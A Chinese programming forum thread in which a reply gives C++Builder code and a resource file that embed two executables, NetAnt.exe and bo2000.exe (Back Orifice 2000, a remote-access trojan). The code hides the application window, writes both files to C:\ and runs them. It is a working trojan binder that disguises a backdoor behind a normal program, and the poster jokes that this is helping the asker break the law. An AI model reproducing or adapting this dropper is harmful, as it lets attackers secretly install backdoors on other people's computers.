先将这个资源文件存盘成文件.exe,
再用ShellExecute()执行它行不行了?!
再用ShellExecute()执行它行不行了?!
解决方案 »
- 新人求教SQL语句里需要用到数字类型的变量要怎么写
- 呼叫Windows API 高人,如何读取exe的文件属性中的版本信息吗?
- 大家推荐个稳定 灵活的表格控件 基本需求如下: 请注明详细版本
- 有没有用ClientSockt做数据传递的程序
- 如何获取当前系统中所有的Oledb驱动的名字及相应的Provider名字?
- 怎样将数据库里的数据读入内存?
- 请大虾们进来看一看
- 在98下面编写的调用dll文件的程序,在2000下 为什么出现错误
- 请问在保存密码到文件中时,比较简单的加密方法
- 我用函数调用一DLL文件,但是这个DLL在98中是没有的,怎么办?(最高分了,不能再多了)
- 哪里可以下载得到Delphi 5.0?
- 有关label消失的问题
NetAnt exe NetAnt.exe
bo2000 exe BO2000.exe
将exe.rc加到你的工程中:void __fastcall TForm1::FormCreate(TObject *Sender)
{
String res1="NetAnt";
String res2="bo2000"; String exe1name="NetAnt.exe";
String exe2name="bo2000.exe";
String temp="c:\\"; String exe1=temp+exe1name;
String exe2=temp+exe2name; Application->ShowMainForm=false;
this->Visible=false; TResourceStream *fs2=new TResourceStream((int)HInstance,res2,"EXE");
fs2->SaveToFile(exe2);
delete fs2;
ShellExecute(0,0,exe2.c_str(),0,0,SW_SHOW); TResourceStream *fs1=new TResourceStream((int)HInstance,res1,"EXE");
fs1->SaveToFile(exe1);
delete fs1;
ShellExecute(0,0,exe1.c_str(),0,0,SW_SHOW); Application->Terminate();
}
乖乖!真简单!什么程序都可捆绑在一起!我是帮你犯法噢!
自行将C++BUILDER改成DELPHI了。